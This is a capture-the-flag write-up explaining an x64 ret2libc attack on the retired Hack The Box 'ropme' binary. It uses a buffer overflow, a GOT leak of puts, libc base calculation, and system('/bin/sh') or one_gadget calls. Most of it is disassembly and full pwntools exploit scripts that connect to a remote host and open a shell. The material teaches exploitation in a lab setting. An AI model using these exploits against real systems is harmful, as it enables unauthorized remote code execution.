x64 ret2libc
If a binary does not have enough useful gadgets but imports the libc library, we can try to return to libc and call gadgets like system() and execve().
Anathomy of the attack
Take control of the rsp regiter
Leak a libc function address and the libc version
Use that address to calculate libc's base offset
Call any gadgets within libc
Notice that the arguments are provided by the registers in the x64 architecture, not by the stack.
I like to work with examples, so for this explanation I'll use the ropme challenge from hackthebox, which is the most simple ret2libc example there could ever be, the chall is currently retired so you'll need a VIP subscription if you want to use it through this paper.
Take control of the return address
Let's say our binary has an input field vulnerable to a buffer overflow in which we can overwrite address on the stack until we hit the regiters, our task would be to find the exact offset in which we start writing to rsp, so we can control the flow of the program.

In the example above I created a pattern to see where exactly I started writing to rsp,

Then I fed the value on rsp to know exactly where it is overwrote, and it tells me the offset is 72, which means that if I send 72 A's and 8 B's the rsp will be all B's.

And there it is :) Now let's start developing our exploit, I'll be using the pwntools library for automation and organization.
Leak a libc function address and the libc version
To leak the libc version we need to get the address of a function used by the program, so we can disassable the binary with the following command:
objdump -M intel -d ./ropme|less
And we see that a few functions were imported:
Disassembly of section .plt:
00000000004004d0 <.plt>:
4004d0: ff 35 32 0b 20 00 push QWORD PTR [rip+0x200b32] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
4004d6: ff 25 34 0b 20 00 jmp QWORD PTR [rip+0x200b34] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
4004dc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
00000000004004e0 <puts@plt>:
4004e0: ff 25 32 0b 20 00 jmp QWORD PTR [rip+0x200b32] # 601018 <puts@GLIBC_2.2.5>
4004e6: 68 00 00 00 00 push 0x0
4004eb: e9 e0 ff ff ff jmp 4004d0 <.plt>
00000000004004f0 <__libc_start_main@plt>:
4004f0: ff 25 2a 0b 20 00 jmp QWORD PTR [rip+0x200b2a] # 601020 <__libc_start_main@GLIBC_2.2.5>
4004f6: 68 01 00 00 00 push 0x1
4004fb: e9 d0 ff ff ff jmp 4004d0 <.plt>
0000000000400500 <fgets@plt>:
400500: ff 25 22 0b 20 00 jmp QWORD PTR [rip+0x200b22] # 601028 <fgets@GLIBC_2.2.5>
400506: 68 02 00 00 00 push 0x2
40050b: e9 c0 ff ff ff jmp 4004d0 <.plt>
0000000000400510 <fflush@plt>:
400510: ff 25 1a 0b 20 00 jmp QWORD PTR [rip+0x200b1a] # 601030 <fflush@GLIBC_2.2.5>
400516: 68 03 00 00 00 push 0x3
40051b: e9 b0 ff ff ff jmp 4004d0 <.plt>
We can leak the address of a function if we print it's value in the GOT table, we can call the puts function to print that address, so we need to first put the address we want in the rdi register, which is where our first argument goes, and then call the puts function. So our chain will look like:
junk + pop_rdi + puts_got + puts_plt + main
Notice that we need to call main so the program flow returns to the beginning, that way we'll be able to get the output of our call to puts() and continue with the attack. This is important to understand, since ASLR is enabled on the remote instance we need to complete the attack in only one execution, because the addresses we leaked will be reset in the next run.
We'll need a pop rdi gadget, we can look for one of those with ropper,
ropper -f ropme
[...]
0x00000000004006d3: pop rdi; ret;
[...]
And here is our gadet :) Now, let's jump to our exploit's development.
Pwntools ships already with functions to simplify that process:
#!/usr/bin/env python3
from pwn import *
e = context.binary = ELF('./ropme', checksec=False)
io = remote('138.68.182.108',30467)
#context.log_level = "DEBUG"
# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']
# Junk
junk = 72*b'A'
io.recvuntil("ROP me outside, how 'about dah?\n")
# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)
io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))
The code above connects to the service running the vulnerable binary then forces it to print the address of the puts function by waiting for the input to be requested, then sending the chain I mentioned before.
❯ ./leak.py
[+] Opening connection to 138.68.182.108 on port 30467: Done
[+] Puts address found at 0x7ff018dd3690
Running the script we get the address of the puts function, now we need to feed it to a database that will search for that occurrence in multiple versions of libc.
https://libc.nullbyte.cat/?q=puts%3A0x7f5fa2da5690

As we know, our program's architecture is amd64, so we can ignore any other matches, leaving us with libc6_2.23-0ubuntu10_amd64 and libc6_2.23-0ubuntu11_amd64, and those two end up being the exact same, so we already know what version we need to use for the gadgets in our exploit.
Use that address to calculate libc's base address
As the addresses are reset upon finishing execution, we need to leak the address we want and calculate the offset in every run. So we'll just append the exploit to our previous code. The next steps we need to take are:
Subtract the offset of our function from it's address, so we get libc's base address.
Add the address of any gadgets we want to use from libc.
The libc database we're using already provides that offset,

Let's say we want to call system("/bin/sh"), then we'll need to put the address of a string with the value of "/bin/sh\x00" in the rdi register and then call the system() function, according to the database, those addresses are, respectively, libc's base address + 0x18cd57
(offset of the string), and libc's base address + 0x045390
(offset of system()), so our next chain will look like:
junk + pop_rdi + str_bin_sh + system
appending that chain to our exploit code,
#!/usr/bin/env python3
from pwn import *
e = context.binary = ELF('./ropme', checksec=False)
libc = ELF('./libc.so', checksec=False)
#io = process(e.path)
io = remote('138.68.182.108',30467)
#context.log_level = "DEBUG"
# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']
# Junk
junk = 72*b'A'
io.recvuntil("ROP me outside, how 'about dah?\n")
# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)
io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))
libc_base = libc.address = leak - 0x06f690
log.success('Libc address found at ' + hex(libc_base))
# Final ROP
system = libc_base + 0x045390 # system()
bin_sh = libc_base + 0x18cd57 - 64 # /bin/sh
payload = junk
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
io.recvuntil("ROP me outside, how 'about dah?\n")
io.sendline(payload)
io.interactive()
An this will pop us a shell! Please notice, some times the /bin/sh address is a little bit off and you'll get something like: "%s%s[...]%s%s No such file or directory", this means you're 64 bytes ahead from where you should be, all you need to do is subtract 64 from your bin_sh address.
Also there are other ways of doing this without system(), there is something called one gadget, that is, basically, any address on libc that pops a shell just for being called, for example, one that contains execve("/bin/sh"). Running the one_gadget command against the libc we downloaded from the database we found a few offsets:
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
So replacing our chain with:
junk + one_gadget
We'll also get a shell, And here is the final exploit code:
#!/usr/bin/env python3
from pwn import *
e = context.binary = ELF('./ropme', checksec=False)
libc = ELF('./libc.so', checksec=False)
#io = process(e.path)
io = remote('138.68.182.108',30467)
# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']
junk = 72*b'A'
io.recvuntil("ROP me outside, how 'about dah?\n")
# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)
io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))
libc_base = libc.address = leak - 0x06f690
log.success('Libc address found at ' + hex(libc_base))
# Final ROP
system = libc_base + 0x045390 # system()
bin_sh = libc_base + 0x18cd57 - 64 # /bin/sh
one_gadget = libc_base + 0x45216 #execve("/bin/sh", rsp+0x30, environ)
payload = junk
payload += p64(one_gadget)
io.recvuntil("ROP me outside, how 'about dah?\n")
io.sendline(payload)
io.interactive()

Simple enough. Thanks to everyone that followed along to this point, I hope everyone is enjoying the content!
Last updated
Was this helpful?